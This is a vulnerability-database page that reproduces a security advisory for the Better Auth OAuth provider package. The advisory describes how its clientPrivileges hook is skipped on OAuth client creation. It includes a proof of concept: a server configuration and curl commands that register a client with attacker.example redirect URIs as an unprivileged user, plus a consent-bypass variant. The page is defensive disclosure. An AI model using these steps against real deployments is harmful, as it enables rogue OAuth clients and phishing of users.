Vulnerability Database

358,808

Total vulnerabilities in the database

OAuth 2.1 Provider: Unprivileged users can register OAuth clients — @better-auth / oauth-provider

Incorrect Authorization

Summary

An authorization bypass in the OAuth provider allows any authenticated low-privilege user to create OAuth clients even when the deployment configures clientPrivileges to restrict client creation. The option contract explicitly includes a create action, but the create paths never invoke that callback, so applications that rely on clientPrivileges for RBAC can be silently misconfigured into allowing unauthorized client registration.

Details

The OAuth provider exposes a clientPrivileges authorization hook whose documented action set includes create: https://github.com/better-auth/better-auth/blob/c5066fe5d68babf2376cfc63d813de5542eca463/packages/oauth-provider/src/types/index.ts#L209-L214 However, the two client-creation entry points for the adminCreateOAuthClient and the createOAuthClient, both delegate directly to createOAuthClientEndpoint without performing a clientPrivileges check.

In contrast, the non-create operations do enforce clientPrivileges in getClientEndpoint, getClientsEndpoint, deleteClientEndpoint, updateClientEndpoint and rotateClientSecretEndpoint. Those paths call the hook with read, list, delete, update, and rotate, but there is no corresponding create authorization check before persisting a new oauthClient record.

As a result, an application may reasonably configure clientPrivileges to allow only certain users or roles to manage OAuth clients, while any ordinary authenticated user can still call the create-client route successfully. This breaks the documented security boundary and enables unauthorized creation of OAuth clients with attacker-controlled redirect URIs and metadata.

If the server-only adminCreateOAuthClient endpoint is accidentally exposed to low-privilege authenticated users, an attacker can create OAuth clients with skip_consent enabled, which may allow silent consent bypass for that client and increases phishing and token-abuse risk.

PoC

Use the following setup to reproduce the authorization bypass in a minimal environment.

  1. Start a Better Auth server with oauthProvider and a restrictive clientPrivileges policy that should only allow one user to create OAuth clients.
  2. Create two users:
    • allowed user
    • forbidden user
  3. Sign in as the forbidden user and call the authenticated OAuth client creation endpoint.
  4. Observe that client creation succeeds even though policy should deny it.

Server configuration example:

import { createServer } from "node:http"; import { oauthProvider } from "@better-auth/oauth-provider"; import { betterAuth } from "better-auth"; import { toNodeHandler } from "better-auth/node"; import { jwt } from "better-auth/plugins"; const PORT = 3000; const BASE_URL = `http://localhost:${PORT}`; const ALLOWED_EMAIL = "[email protected]"; const auth = betterAuth({ baseURL: BASE_URL, emailAndPassword: { enabled: true, }, plugins: [ oauthProvider({ loginPage: "/login", consentPage: "/consent", silenceWarnings: { oauthAuthServerConfig: true, openidConfig: true, }, clientPrivileges({ user }) { return user?.email === ALLOWED_EMAIL; }, }), jwt(), ], }); const authHandler = toNodeHandler(auth.handler); const server = createServer(async (req, res) => { const url = req.url || "/"; if (url.startsWith("/api/auth")) { await authHandler(req, res); return; } if (url === "/" || url === "/health") { res.writeHead(200, { "content-type": "application/json" }); res.end( JSON.stringify({ status: "ok", message: "OAuth Provider clientPrivileges PoC server is running", baseURL: BASE_URL, authBasePath: "/api/auth", }) ); return; } if (url === "/login" || url === "/consent") { res.writeHead(200, { "content-type": "text/plain; charset=utf-8" }); res.end("Placeholder page for oauthProvider config"); return; } res.writeHead(404, { "content-type": "application/json" }); res.end(JSON.stringify({ error: "not_found" })); }); server.listen(PORT, () => { console.log(`PoC server running on ${BASE_URL}`); console.log(`Auth endpoints: ${BASE_URL}/api/auth/*`); console.log("Use sign-up/email and sign-in/email to create sessions."); });

Sign up forbidden user:

curl -i -X POST http://localhost:3000/api/auth/sign-up/email \ -H "content-type: application/json" \ -d '{ "email":"[email protected]", "password":"test123456", "name":"forbidden user" }'

Sign in with forbidden user (save cookies to txt file):

curl -i -X POST http://localhost:3000/api/auth/sign-in/email \ -H "content-type: application/json" \ -H "origin: http://localhost:3000" \ -c cookies.txt \ -d '{ "email":"[email protected]", "password":"test123456" }'

Attempt unauthorized client creation as forbidden user:

curl -i -X POST http://localhost:3000/api/auth/oauth2/create-client \ -H "content-type: application/json" \ -H "origin: http://localhost:3000" \ -b cookies.txt \ -d '{ "client_name":"attacker-client", "client_uri":"https://attacker.example/app", "logo_uri":"https://attacker.example/logo.png", "contacts":["[email protected]"], "tos_uri":"https://attacker.example/terms", "policy_uri":"https://attacker.example/policy", "redirect_uris":["https://attacker.example/callback"], "grant_types":["authorization_code"], "response_types":["code"], "token_endpoint_auth_method":"client_secret_basic", "type":"web" }'

Expected result: HTTP 401 Unauthorized, because clientPrivileges denies create for [email protected].

Actual result: Client is created successfully (HTTP 200 with client_id and client_secret), demonstrating that create authorization is not enforced through clientPrivileges on this path.

Optional high-impact variant (only if server-only endpoint is exposed by deployment): Call the admin create endpoint and set skip_consent true to create a client that may bypass user consent flow for that client.

Impact

This is an authorization bypass (broken access control / RBAC enforcement gap) affecting applications that use oauth-provider and rely on clientPrivileges to restrict who can register OAuth clients.

Potential impact includes:

  • Unauthorized registration of attacker-controlled OAuth clients.
  • Creation of clients with attacker-chosen redirect URIs and metadata.
  • Increased risk of phishing/social engineering through rogue first-party-looking clients.
  • Abuse of trust assumptions in downstream OAuth/OIDC flows that treat registered clients as vetted. Severity is deployment-dependent, but security-relevant by default because a documented access-control hook is bypassed for client creation.
  • Published: Apr 16, 2026
  • Updated: Apr 17, 2026
  • GHSA: GHSA-xr8f-h2gw-9xh6
  • Severity: High
  • Exploit:
  • CISA KEV:

No technical information available.

CWEs:

Frequently Asked Questions

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.